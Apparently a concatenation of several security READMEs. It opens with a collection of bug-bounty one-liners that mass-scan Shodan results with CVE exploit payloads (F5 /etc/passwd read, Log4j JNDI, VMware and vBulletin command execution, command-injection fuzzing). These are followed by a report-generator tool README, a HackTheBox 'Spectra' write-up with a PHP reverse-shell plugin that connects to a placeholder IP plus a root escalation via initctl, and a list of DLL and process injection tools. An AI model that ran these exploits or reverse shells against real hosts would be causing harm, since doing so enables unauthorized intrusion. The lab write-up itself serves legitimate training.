shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```
### CVE-2020-3452:
```
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < domain_list.txt
```
### CVE-2021-44228:
```
cat subdomains.txt | while read host do; do curl -sk --insecure --path-as-is "$host/?test=${jndi:ldap://log4j.requestcatcher.com/a}" -H "X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}" -H "User-Agent: ${jndi:ldap://log4j.requestcatcher.com/a}";done
```
```
cat urls.txt | sed `s/https:///` | xargs -I {} echo `{}/${jndi:ldap://{}attacker.burpcollab.net}` >> lo4j.txt
```
### CVE-2022-0378:
```
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```
### CVE-2022-22954:
```
cat urls.txt | while read h do ; do curl -sk --path-as-is “$h/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}”| grep "context" && echo "$h\033[0;31mV\n"|| echo "$h \033[0;32mN\n";done
```
### CVE-2022-41040:
```
ffuf -w "urls.txt:URL" -u "https://URL/autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL" -mr "IIS Web Core" -r
```
---------
## RCE:
```
cat targets.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent
```
### vBulletin 5.6.2
```
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```
```
subfinder -d target.com | httpx | gau | qsreplace “aaa%20%7C%7C%20id%3B%20x” > fuzzing.txt; ffuf -ac -u FUZZ -w fuzzing.txt -replay-proxy 127.0.0.1:8080
```
-----------
## JS Files:
### Find JS Files:
```
gau -subs target.com |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt
```
```
assetfinder target.com | waybackurls | egrep -v '(.css|.svg)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"
```
### Hidden Params in JS:
```
cat subdomains.txt | gauplus -subs -t 100 -random-agent | sort -u --version-sort | httpx -silent -threads 2000 | grep -Eiv '(.eot|.jpg|.jpeg|.gif|.css|.tif|.tiff|.png|.ttf|.otf|.woff|.woff2|.ico|.svg|.txt|.pdf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -Eiv '\.js$|([^.]+)\.js|([^.]+)\.js\.[0-9]+$|([^.]+)\.js[0-9]+$|([^.]+)\.js[a-z][A-Z][0-9]+$' | sed 's/.*/&=FUZZ/g'); echo -e "\e[1;33m$url\e[1;32m$vars";done
```
### Extract sensitive end-point in JS:
```
cat main.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u
```
-------------------------
### SSTI:
```
for url in $(cat targets.txt); do python3 tplmap.py -u $url; print $url; done
```
---------------------------
## HeartBleed
```
cat urls.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line; safe; done
```
------------------
## Scan IPs
```
cat my_ips.txt | xargs -L100 shodan scan submit --wait 0
```
## Portscan
```
naabu -l targets.txt -rate 3000 -retries 3 -warm-up-time 0 -rate 150 -c 50 -ports 1-65535 -silent -o out.txt
```
## Screenshots using Nuclei
```
nuclei -l target.txt -headless -t nuclei-templates/headless/screenshot.yaml -v
```
## IPs from CIDR
```
echo cidr | httpx -t 100 | nuclei -t ~/nuclei-templates/ssl/ssl-dns-names.yaml | cut -d " " -f7 | cut -d "]" -f1 | sed 's/[//' | sed 's/,/\n/g' | sort -u
```
```
mapcidr -cidr <CIDR> -silent
```
## SQLmap Tamper Scripts - WAF bypass
```
sqlmap -u 'http://www.site.com/search.cmd?form_state=1' --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
--no-cast --no-escape --dbs --random-agent
```
## Shodan Cli
```
shodan search Ssl.cert.subject.CN:"target.com" 200 --field ip_str | httpx -silent | tee ips.txt
```
### ffuf txt output
```
ffuf -w wordlists.txt -u URL/FUZZ -r -ac -v &>> output.txt ; sed -i 's/\:\: Progress.*Errors.*\:\://g' output.txt ; sed -i 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' output.txt
```
### Ffuf json to only url
```
cat ffuf.json | jq | grep "url" | sed 's/"//g' | sed 's/url://g' | sed 's/^ *//' | sed 's/,//g'
```
## Recon Oneliner from Stok
```
subfinder -d moonpay.com -silent | anew moonpay-subs.txt | dnsx -resp -silent | anew moonpay-alive-subs-ip.txt | awk '{print $1}' | anew moonpay-alive-subs.txt | naabu -top-ports 1000 -silent | anew moonpay-openports.txt | cut -d ":" -f1 | naabu -passive -silent | anew moonpay-openports.txt | httpx -silent -title -status-code -mc 200,403,400,500 | anew moonpay-web-alive.txt | awk '{print $1}' | gospider -t 10 -q -o moonpaycrawl | anew moonpay-crawled.txt | unfurl format %s://dtp | httpx -silent -title -status-code -mc 403,400,500 | anew moonpay-crawled-interesting.txt | awk '{print $1}' | gau --blacklist eot,svg,woff,ttf,png,jpg,gif,otf,bmp,pdf,mp3,mp4,mov --subs | anew moonpay-gau.txt | httpx -silent -title -status-code -mc 200,403,400,500 | anew moonpay-web-alive.txt | awk '{print $1}'| nuclei -eid expired-ssl,tls-version,ssl-issuer,deprecated-tls,revoked-ssl-certificate,self-signed-ssl,kubernetes-fake-certificate,ssl-dns-names,weak-cipher-suites,mismatched-ssl-certificate,untrusted-root-certificate,metasploit-c2,openssl-detect,default-ssltls-test-page,wordpress-really-simple-ssl,wordpress-ssl-insecure-content-fixer,cname-fingerprint,mx-fingerprint,txt-fingerprint,http-missing-security-headers,nameserver-fingerprint,caa-fingerprint,ptr-fingerprint,wildcard-postmessage,symfony-fosjrouting-bundle,exposed-sharepoint-list,CVE-2022-1595,CVE-2017-5487,weak-cipher-suites,unauthenticated-varnish-cache-purge,dwr-index-detect,sitecore-debug-page,python-metrics,kubernetes-metrics,loqate-api-key,kube-state-metrics,postgres-exporter-metrics,CVE-2000-0114,node-exporter-metrics,kube-state-metrics,prometheus-log,express-stack-trace,apache-filename-enum,debug-vars,elasticsearch,springboot-loggers -ss template-spray | notify -silent
```
## Update golang
```
curl https://raw.githubusercontent.com/udhos/update-golang/master/update-golang.sh|sudo bash
```
## Censys CLI
```
censys search "taregt.com" --index-type hosts | jq -c '.[] | {ip: .ip}' | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
```
> ***More Scripts Coming Sooon :)***
____________________________________________________________________________________________________________________________
## ***Support***
You can Follow me on [LinkedIn](https://www.linkedin.com/in/bhavesh-pardhi-/) and [Twitter](https://twitter.com/Bhavesh_Pardhi_) or if you like my content BUY ME A COFFE
<br><br>[](https://www.buymeacoffee.com/bhaveshpardhi)
|
<h1 align="center">
<br>
<a href="https://github.com/HACKE-RC/webdork"><img src="https://beeimg.com/images/f36886119494.png" alt="webdork" width="600" height="300"></a>
<br>
ReporterX v1.0 beta
<br>
</h1>
<p align="center">Report writing made easy.</p>
# ReporterX
Python tool to automate report writing with templates!<br>
Suggestions and issues are welcome because I know codes can never be perfect.
## Compatibility
Check your Python version by typing in
```bash
$ python --version
```
If you get the following
```bash
Python 3.9.0
```
or any version greater than or equal to 3.9, this script has been tested and confirmed to be supported.
## Installation
### For termux
```bash
pkg install git -y
pkg install python -y
git clone https://github.com/RESETHACKER-COMMUNITY/ReporterX
cd ReporterX
python termux-setup.py
```
### For Debian-based GNU/Linux distributions
```bash
git clone https://github.com/RESETHACKER-COMMUNITY/ReporterX
cd ReporterX
sudo python3 setup.py
```
## Usage:
***This is a yaml template based tool(like nuclei is, but it makes reports, instead of finding vulns), The arguments depends upon the template you use.***
***You can use ```-h``` after selecting a template.***
#### Here is a example :
```
root@rc# ReporterX -t /root/RepoterX/templates/SQL-inection/SQLI-GET.yaml -h
usage: main.py [-h] -u URL -p Parameter -user Reporter username [-s Custom Steps to reproduce] [-imp Custom impact] [-rem Custom remediation] [-t Template path] [--silent] [-o]
Template based report generator tool.
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL where vulnerability exits(with path)
-p Parameter, --param Parameter
Parameter to append with the URL(with value).
-user Reporter username, --username Reporter username
Username of the reporter(e.g. @coder_rc).
-s Custom Steps to reproduce, --steps Custom Steps to reproduce
File path to read steps to reproduce from.
-imp Custom impact, --impact Custom impact
File path to read impact from.
-rem Custom remediation, --remediation Custom remediation
File path to remediation from.
-t Template path Path of template you want to use.
--silent Don't print anything just silently save results.
-o , --output Filename to save results in.
```
**For every type of template there is a different usage procedure which is guided [here](/templates)**<br>
**For people who wants make templates they can read how to make them [here](/templates)**
## Arguments :
- Template path : -t
- URL/Domain/Host(with path) : -u, --url
- Specify parameter to use(with payload) : -p, --param
- Specify organisation name : -on, --orgname
- Specify your username to use at the end of the report : -user, --username
- Specify custom Steps/Impact/Remediation to read from file and not from original template : -s, --steps, -imp, --impact, -rem, --remediation
- Directly save the results without printing anything : --silent
# How to use special characters in arguments
**Read [here](/templates#How-to-use-special-characters-in-arguments)**
## Shoutout
- [RC](https://twitter.com/coder_rc) (myself).
- [ResetHacker](https://github.com/RESETHACKER-COMMUNITY).
- [InfosecMecha](https://twitter.com/InfosecMecha).
**If you like my work consider contacting me on Twitter @coder_rc for donation related information.**
## Demonstrative Video:
- https://www.youtube.com/watch?v=FViMJC40V88
**Made with Python by [RC](https://twitter.com/coder_rc)**
|
<p align="center"><img src="src/banner.png" alt="Banner"></img></p>
<p align="center">Creator: <a href="https://app.hackthebox.eu/profile/1190">egre55</a></p>
# Personal thoughts
Easy peasy lemon squeezy; just need to do a little bit of enumeration, even you don't need any special tenhniques for this box. I tried to explain the steps as simple as I can. Hope you'll find it useful; if so, consider [suporting](https://www.buymeacoffee.com/f4T1H21) a student to get `OSCP` exam and +respecting my profile in HTB.
<a href="https://app.hackthebox.eu/profile/184235">
<img src="https://www.hackthebox.eu/badge/image/184235" alt="f4T1H">
</img>
</a>
<br>
<a href="https://www.buymeacoffee.com/f4T1H21">
<img src="https://raw.githubusercontent.com/f4T1H21/f4T1H21/main/support.png" height="40" alt="Support">
</img>
</a>
<br><br>
Now, let me get right into it.
---
# Reconnaissance
Let's first start with our classical nmap scan:
```bash
nmap -sS -sC -sV -p- 10.10.10.229
```
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open http nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
```
Here we have two ports except `22/ssh`, let's start enumerating from `80/http`.
## 80/http
As you can see, we have a domain with two directories located under.
First add `spectra.htb` to your `/etc/hosts` file.<br>
If we go ahead and have a look at /testing directory, we'll see that we got the whole content of the wordpress directory.
__Remember:__ The `wp-config.php` file in the wordpress directories usually has the required credentials for login.<br>
But in this case, we find the credentials in the `.save` file of the config file.
- `devtest`:`devteam01`
I think we got what we expected to from this directory, moving to `/main` gives us the wordpress site. We also got a username from the first post of wordpress: `administrator`
Apart from that, I found an `XSS` in the comments of the first post. But we're going to exploit this box using wordpress reverse shell techniques, that's why there's no need to use `XSS`.
So we got the wordpress username, a couple of credentials. Now the scenerio is simple, which is getting a reverse shell through an authenticated wordpress cms.
At this point we don't need further enumeration, so I stopped searching for any other interesting things and focused on getting a reverse shell.
# Foothold: Wordpress Reverse Shell
There are many different ways to get a reverse shell from an authenticated wordpress panel. One of them is to change the content of theme files using the embedded `Theme editor`. But in this writeup, we're going to go with another one, which is uploading a malicious plugin.
- Check out [this](https://www.hackingarticles.in/wordpress-reverse-shell/) article for more information and explanation about the topic.
First we need to create a file with a reverse shell in it. Don't worry, I'm about to give the file to you : )
__f4T1H.php__
```php
<?php
/**
* Plugin Name: WordPress Reverse Shell Plugin
* Author: f4T1H
*/
$sock=fsockopen("YOUR_IP_HERE",2121);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
```
Then we compress the PHP file into a `.zip` file. And of course start a nc listener.
```bash
┌──(root💀f4T1H)-[~/hackthebox/spectra]
└─> zip f4T1H.zip f4T1H.php
adding: f4T1H.php (deflated 19%)
┌──(root💀f4T1H)-[~/hackthebox/spectra]
└─> nc -lvnp 2121
listening on [any] 2121 ...
```
After that, go authenticate wordpress panel from `http://spectra.htb/main/wp-login.php` and install the plugin.
And activate the reverse shell plugin.
As soon as we activate the plugin, we got a reverse connection on our nc listener...
```bash
┌──(root💀f4T1H)-[~/hackthebox/spectra]
└─> nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.229] 41518
$ id
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$
```
# Privilege Escalation: `initctl`
## user part
Before escalating to root, we need to escalate user first. After a little bit of enumeration, we encounter an interesting file in /opt/autologin.conf.orig
```bash
nginx@spectra ~ $ ls -lah /opt
ls -lah /opt
total 44K
drwxr-xr-x 10 root root 4.0K Feb 3 16:42 .
drwxr-xr-x 22 root root 4.0K Feb 2 14:52 ..
drwxr-xr-x 2 root root 4.0K Jun 28 2020 VirtualBox
-rw-r--r-- 1 root root 978 Feb 3 16:02 autologin.conf.orig
drwxr-xr-x 2 root root 4.0K Jan 15 15:53 broadcom
drwxr-xr-x 2 root root 4.0K Jan 15 15:54 displaylink
drwxr-xr-x 2 root root 4.0K Jan 15 15:53 eeti
drwxr-xr-x 5 root root 4.0K Jan 15 15:55 google
drwxr-xr-x 6 root root 4.0K Feb 2 15:15 neverware
drwxr-xr-x 5 root root 4.0K Jan 15 15:54 tpm1
drwxr-xr-x 5 root root 4.0K Jan 15 15:54 tpm2
nginx@spectra ~ $ file /opt/autologin.conf.orig
file /opt/autologin.conf.orig
/opt/autologin.conf.orig: ASCII text, with CRLF line terminators
nginx@spectra ~ $ cat /opt/autologin.conf.orig
cat /opt/autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description "Automatic login at boot"
author "[email protected]"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
passwd=
# Read password from file. The file may optionally end with a newline.
for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
if [ -e "${dir}/passwd" ]; then
passwd="$(cat "${dir}/passwd")"
break
fi
done
if [ -z "${passwd}" ]; then
exit 0
fi
# Inject keys into the login prompt.
#
# For this to work, you must have already created an account on the device.
# Otherwise, no login prompt appears at boot and the injected keys do the
# wrong thing.
/usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
end scriptnginx@spectra ~ $
```
As you can see here, the content of `/mnt/stateful_partition/etc/autologin/passwd` is being copied to `/etc/autologin/passwd` when the script is run.
So, let's check if `/etc/autologin/passwd` exists!
```bash
nginx@spectra ~ $ file /etc/autologin/passwd
file /etc/autologin/passwd
/etc/autologin/passwd: ASCII text
nginx@spectra ~ $ cat /etc/autologin/passwd
cat /etc/autologin/passwd
SummerHereWeCome!!
nginx@spectra ~ $
```
Looks like we got a password, NICE!
```bash
nginx@spectra ~ $cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
chronos:x:1000:1000:system_user:/home/chronos/user:/bin/bash
nginx:x:20155:20156::/home/nginx:/bin/bash
katie:x:20156:20157::/home/katie:/bin/bash
nginx@spectra ~ $
```
After some hit and try, I came out that this password belongs to user `katie`.
```bash
nginx@spectra ~ $ ssh katie@localhost
ssh katie@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/chronos/user/.ssh/known_hosts).
Password: SummerHereWeCome!!
katie@spectra ~ $ id
id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
katie@spectra ~ $
```
Okay, now we can escalate to root, let's start...
## root part
Let's see which binaries we can execute with sudo privileges.
```bash
katie@spectra ~ $ sudo -l
sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
```
> initctl allows a system administrator to communicate and interact with the Upstart init(8) daemon.
Let's first list the jobs:
```bash
sudo /sbin/initctl list
```
Okay, here we can try to inject a code by modifying service `test` which is customized service, does not come up as default job.
- For more [information](https://isharaabeythissa.medium.com/sudo-privileges-at-initctl-privileges-escalation-technique-ishara-abeythissa-c9d44ccadcb9)
Here we'll write our public ssh key into the `/root/.ssh/authorized_keys`.<br>
You can find your default public ssh key from `~/.ssh/id_rsa.pub` if you generated before. If not, then use `ssh-keygen` command to generate a public-private ssh key pair.
I'm giving the codes just in case:
```bash
cat - << EOF > /etc/init/test3.conf
description "Add pubkey to authorized_keys job"
author "f4T1H"
start on filesystem or runlevel [2345]
stop on shutdown
script
echo "YOUR PUBLIC SSH KEY HERE" | tee /root/.ssh/authorized_keys
end script
EOF
sudo /sbin/initctl start test3
```
And we successfully pwned the machine...
---
# Closing
If you liked my writeup, consider [suporting](https://www.buymeacoffee.com/f4T1H21) a student to get `OSCP` exam and +respecting my profile in HTB.
<a href="https://app.hackthebox.eu/profile/184235">
<img src="https://www.hackthebox.eu/badge/image/184235" alt="f4T1H">
</img></a>
<br>
<a href="https://www.buymeacoffee.com/f4T1H21">
<img src="https://raw.githubusercontent.com/f4T1H21/f4T1H21/main/support.png" height="40" alt="Support">
</img>
</a>
# Resources
|`WordPress Reverse Shell`|https://www.hackingarticles.in/wordpress-reverse-shell/|
|:-|:-|
|__`initctl with sudo`__|__https://isharaabeythissa.medium.com/sudo-privileges-at-initctl-privileges-escalation-technique-ishara-abeythissa-c9d44ccadcb9__|
<br>
___-Written by f4T1H-___
|
# [所有收集类项目](https://github.com/alphaSeclab/all-my-collection-repos)
# Injection
- PE注入、DLL注入、进程注入、线程注入、代码注入、Shellcode注入、ELF注入、Dylib注入，当前包括400+工具和350+文章，根据功能进行了粗糙的分类
- [English Version](https://github.com/alphaSeclab/injection-stuff/blob/master/Readme_en.md)
# 目录
- [PE注入](#81a3947baa3f99adaf73a8f9766e48fa) -> [(9)工具](#2642c767c5d89e80c90310fb74e6edb3) [(6)文章](#f7498d4f9350180b46ad63bedae4ea1b)
- [DLL注入](#4df0a2fb37f3cafbdaef103e982a1b0a)
- [(1) 集合](#4ba9c31b7264396cd7666e6b4a29b3dd)
- [(70) 工具](#f7a55b191aab1cb7a57fe44d94b54e1c)
- [(92) 文章](#f69bdae6414fe41f7b2ff0a5ae646e0e)
- [进程注入](#97ceb80739f1d2efce08baaf98dce0fc) -> [(48)工具](#5ed3d284b106ffdc141f447f59326b00) [(92)文章](#78df9ff3771ac1e9d9dff3eba0055d25)
- [线程注入](#3b2252d379d384475de4654bd5d0b368) -> [(1)工具](#9ff33dd10584407a654590a7cf18c6f0) [(9)文章](#a7433a31e0f33f936d15d6ad61437bc6)
- [代码注入](#02a1807b6a7131af27e3ed1002e7335a) -> [(47)工具](#303ed79296c5af9c74cfd49dd31a399e) [(143)文章](#5e603e03f62d50e6fa8310e15470f233)
- [Shellcode注入](#a5458e6ee001b754816237b9a2108569) -> [(13)工具](#28e1b534eae8d37d8fc1d212f0db0263) [(26)文章](#c6942bb5275f5b62a41238c6042b2b81)
- [ELF注入](#3584002eaa30b92479c1e1c2fc6ce4ef) -> [(7)工具](#b423b830472372349203f88cf64c6814) [(8)文章](#0a853f9e3f9ccb0663007d3a508ce02b)
- [Dylib注入](#108c798de24e7ce6fde0cafe99eec5b3) -> [(5)工具](#12df48702564d73c275c72133546d73e) [(1)文章](#0af1332c6476d1a8f98046542e925282)
- [Android](#06fc9c584b797f97731e3c49886dcc08) -> [(21)工具](#4c02a0ba65fa4f582ec590ce1e070822) [(10)文章](#9ff27f3143a5c619b554185069ecffb0)
- [其他](#4ffa5c3eb1f3b85e4c38f6863f5b76b2) -> [(190)工具](#fd5f8ada2d4f47c63c3635427873c79c) [(2)文章](#7004b87c5ab514b352dd7cc91acdd17b)
# <a id="81a3947baa3f99adaf73a8f9766e48fa"></a>PE注入
***
## <a id="2642c767c5d89e80c90310fb74e6edb3"></a>工具
- [**535**星][20d] [C] [jondonym/peinjector](https://github.com/jondonym/peinjector) peinjector - MITM PE file infector
- [**407**星][5m] [Assembly] [hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) 将PE文件转换为Shellcode
- [**230**星][3y] [C++] [secrary/infectpe](https://github.com/secrary/infectpe) Inject custom code into PE file [This project is not maintained anymore]
- [**220**星][2y] [C++] [bromiumlabs/packerattacker](https://github.com/bromiumlabs/packerattacker) C++ application that uses memory and code hooks to detect packers
- [**196**星][30d] [Py] [antonin-deniau/cave_miner](https://github.com/antonin-deniau/cave_miner) Search for code cave in all binaries
- [**126**星][3y] [C++] [gpoulios/ropinjector](https://github.com/gpoulios/ropinjector) 将ROP编码的shellcode打补丁到PE文件中
- [**119**星][16d] [C] [hasherezade/chimera_pe](https://github.com/hasherezade/chimera_pe) ChimeraPE (a PE injector type - alternative to: RunPE, ReflectiveLoader, etc) - a template for manual loading of EXE, loading imports payload-side
- [**119**星][16d] [C] [hasherezade/chimera_pe](https://github.com/hasherezade/chimera_pe) 一种PE注入器类型-可替代:RunPE、ReflectiveLoader等)-用于手动加载EXE的模板，加载时导入有效负载端
- [**18**星][2y] [Py] [ohjeongwook/srdi](https://github.com/ohjeongwook/srdi)
***
## <a id="f7498d4f9350180b46ad63bedae4ea1b"></a>文章
- 2019.01 [fuzzysecurity] [Powershell PE Injection: This is not the Calc you are looking for!](http://fuzzysecurity.com/tutorials/20.html)
- 2018.09 [andreafortuna] [Some thoughts about PE Injection](https://www.andreafortuna.org/dfir/some-thoughts-about-pe-injection/)
- 2015.09 [n0where] [MITM PE file infector: PEInjector](https://n0where.net/mitm-pe-file-infector-peinjector)
- 2014.04 [sevagas] [PE injection explained](https://blog.sevagas.com/?PE-injection-explained)
- 2011.10 [pediy] [[原创]感染PE增加导入项实现注入](https://bbs.pediy.com/thread-141950.htm)
- 2011.04 [codereversing] [Writing a File Infector/Encrypter: PE File Modification/Section Injection (2/4)](http://www.codereversing.com/blog/archives/92)
# <a id="4df0a2fb37f3cafbdaef103e982a1b0a"></a>DLL注入
***
## <a id="4ba9c31b7264396cd7666e6b4a29b3dd"></a>集合
- [**85**星][3y] [C++] [benjaminsoelberg/reflectivepeloader](https://github.com/benjaminsoelberg/reflectivepeloader) Reflective PE loader for DLL injection
***
## <a id="f7a55b191aab1cb7a57fe44d94b54e1c"></a>工具
- [**1121**星][7y] [C] [stephenfewer/reflectivedllinjection](https://github.com/stephenfewer/reflectivedllinjection) 反射DLL注入：一种库注入技术，其中使用反射编程的概念来执行库从内存到主机进程的加载
- [**1093**星][11d] [C] [fdiskyou/injectallthethings](https://github.com/fdiskyou/injectallthethings) 实现了多个DLL注入技术的单Visual Studio项目
- [**747**星][10m] [C++] [darthton/xenos](https://github.com/darthton/xenos) Windows DLL 注入器
- [**635**星][7m] [PS] [monoxgas/srdi](https://github.com/monoxgas/srdi) Shellcode实现的反射DLL注入。将DLL转换为位置无关的Shellcode
- [**489**星][4m] [C#] [akaion/bleak](https://github.com/akaion/bleak) Windows原生DLL注入库，支持多种注入方法
- [**385**星][14d] [C++] [opensecurityresearch/dllinjector](https://github.com/opensecurityresearch/dllinjector) 实现各种方法的dll注入工具
- [**382**星][13d] [C] [wbenny/injdrv](https://github.com/wbenny/injdrv) 使用APC将DLL注入用户模式进程的Windows驱动程序
- [**277**星][2y] [C++] [gellin/teamviewer_permissions_hook_v1](https://github.com/gellin/teamviewer_permissions_hook_v1) 可注入的c++ dll，它使用裸内联连接和直接内存修改来更改您的TeamViewer权限
- [**268**星][3y] [C++] [professor-plum/reflective-driver-loader](https://github.com/professor-plum/reflective-driver-loader) 反射内核驱动注入，一种基于反射DLL注入的注入技术，绕过Windows驱动强制签名
- [**227**星][10d] [C++] [wunkolo/uwpdumper](https://github.com/wunkolo/uwpdumper) DLL和注入器，用于在运行时转储UWP应用程序，以绕过加密的文件系统保护
- [**197**星][2y] [C] [sud01oo/processinjection](https://github.com/sud01oo/ProcessInjection) 一些进程注入方法的实现及分析
- [**190**星][10d] [C++] [hzphreak/vminjector](https://github.com/hzphreak/VMInjector) 使用直接内存操作来绕过在VMware Workstation / Player上运行的主要操作系统的OS登录身份验证屏幕
- [**185**星][19d] [C++] [jonatan1024/clrinject](https://github.com/jonatan1024/clrinject) 将 C＃EXE 或 DLL 程序集注入任意CLR 运行时或者其他进程的 AppDomain
- [**178**星][1m] [Py] [infodox/python-dll-injection](https://github.com/infodox/python-dll-injection) Python工具包，用于将DLL文件注入到Windows上运行的进程中
- [**177**星][11m] [C++] [strivexjun/driverinjectdll](https://github.com/strivexjun/driverinjectdll) 使用驱动全局注入dll，可以隐藏dll模块
- [**146**星][4y] [C] [dismantl/improvedreflectivedllinjection](https://github.com/dismantl/improvedreflectivedllinjection) 原反射DLL注入技巧的升级版：使用bootstrap shell代码(x86或x64)，从反射加载器调用DLL的任何导出
- [**113**星][2m] [C] [rsmusllp/syringe](https://github.com/rsmusllp/syringe) 一个通用的DLL和代码注入工具
- [**110**星][7y] [C++] [abhisek/pe-loader-sample](https://github.com/abhisek/pe-loader-sample) 基于反射DLL注入技术的内存PE加载器
- [**87**星][2m] [C] [countercept/doublepulsar-usermode-injector](https://github.com/countercept/doublepulsar-usermode-injector) 使用 DOUBLEPULSAR payload 用户模式的 Shellcode 向其他进程注入任意 DLL
- [**86**星][3y] [C] [zerosum0x0/threadcontinue](https://github.com/zerosum0x0/threadcontinue) 使用SetThreadContext()和NtContinue()的反射DLL注入
- [**82**星][6m] [C++] [nefarius/injector](https://github.com/nefarius/injector) Command line utility to inject and eject DLLs
- [**73**星][4m] [C] [danielkrupinski/memject](https://github.com/danielkrupinski/memject) Simple Dll injector loading from memory. Supports PE header and entry point erasure. Written in C99.
- [**62**星][15d] [Py] [psychomario/pyinject](https://github.com/psychomario/pyinject) 一个python模块，帮助将shellcode/ dll注入到windows进程中
- [**61**星][3y] [C] [arvanaghi/windows-dll-injector](https://github.com/arvanaghi/windows-dll-injector) 一个基本的Windows DLL注入器在C使用CreateRemoteThread和LoadLibrary
- [**59**星][3y] [C++] [azerg/remote_dll_injector](https://github.com/azerg/remote_dll_injector) Stealth DLL injector
- [**56**星][1y] [C] [rapid7/reflectivedllinjection](https://github.com/rapid7/reflectivedllinjection) 一种库注入技术，其中使用反射编程的概念将库从内存加载到主机进程中。
- [**53**星][5m] [C] [adrianyy/keinject](https://github.com/adrianyy/keinject) Kernel LdrLoadDll injector
- [**52**星][5m] [C] [nccgroup/ncloader](https://github.com/nccgroup/ncloader) A session-0 capable dll injection utility
- [**52**星][3y] [C++] [zer0mem0ry/standardinjection](https://github.com/zer0mem0ry/standardinjection) A simple Dll Injection demonstration
- [**51**星][19d] [C++] [papadp/reflective-injection-detection](https://github.com/papadp/reflective-injection-detection) a program to detect reflective dll injection on a live machine
- [**50**星][1y] [C] [realoriginal/reflective-rewrite](https://github.com/realoriginal/reflective-rewrite) Attempt to rewrite StephenFewers Reflective DLL Injection to make it a little more stealthy. Some code taken from Meterpreter & sRDI. Currently a work in progress.
- [**49**星][3y] [C++] [zodiacon/dllinjectionwiththreadcontext](https://github.com/zodiacon/dllinjectionwiththreadcontext) This is a sample that shows how to leverage SetThreadContext for DLL injection
- [**42**星][3y] [C++] [zer0mem0ry/manualmap](https://github.com/zer0mem0ry/manualmap) A Simple demonstration of manual dll injector
- [**38**星][26d] [C++] [rolfrolles/wbdeshook](https://github.com/rolfrolles/wbdeshook) DLL-injection based solution to Brecht Wyseur's wbDES challenge (based on SysK's Phrack article)
